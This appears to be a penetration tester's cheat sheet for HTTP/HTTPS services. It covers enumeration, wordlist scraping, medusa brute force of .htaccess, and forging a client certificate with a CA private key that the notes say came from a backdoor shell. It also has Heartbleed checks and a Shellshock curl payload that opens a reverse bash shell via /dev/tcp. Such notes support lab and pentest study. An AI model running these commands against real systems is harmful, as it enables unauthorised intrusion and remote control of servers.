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TCP 80, 443: HTTP(S)

The Hypertext Transfer Protocol is an application protocol for distributed, collaborative, hypermedia information systems.

-- Wikipedia

Related

Enumeration/Webserver scanning

Information gathering

443/https

-> Check SSL certificate for hostnames and email addresses

General

Check headers

curl -i <ip>

Follow redirection

curl -i -L <ip>

Check links

curl <ip> -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'

Identify technologies used

whatweb <ip>

Get response

http <ip>

Terminal/Text-based browsers

browsh --startup-url <url>
lynx <url>

URL brute force

See Enumeration/Webserver scanning

Scrape website

Scrapes a website to generate password list from words, found there

cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

-> Mutate list using John the Ripper (JTR)

.htaccess

Brute force

medusa -h <ip> -u <user> -P <wordlist-file> -M http -m DIR:/admin -T 10

Sign SSL certificate

  • Got private key from vsftpd backdoor php shell (ca.key)

  • Export certificate from Firefox (ca.crt)

openssl pkey -in ca.key -pubout
openssl x509 -in ca.crt -pubkey -noout

openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.csr
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -set_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
openssl verify -verbose -CAfile ca.crt client.cer

-> Firefox -> Preferences -> Search certificates -> Import "client.p12", Import "ca.crt" (trust)

Troubleshooting

  • No permission to file, but to folder? -> re-create file!

Heartbleed

Check

sslscan <ip>
sslyze --heartbleed <ip>
nmap -sV --script=ssl-heartbleed -oA nmap_heartbleed <ip>

Exploits

Shellshock

Check

nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi <ip>

Exploit

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1" http://<ip>/cgi-bin/admin.cgi

Apache2

Debian: /etc/apache2/ CentOS: /etc/httpd/

Interesting files:

./apache2.conf
./ports.conf
./envvars
./access.log
./error.log
/etc/logrotate.d/apache2

Find document root:

grep -Ri DocumentRoot .
grep -R '$bigtree\["config"\]\["db"\]' .
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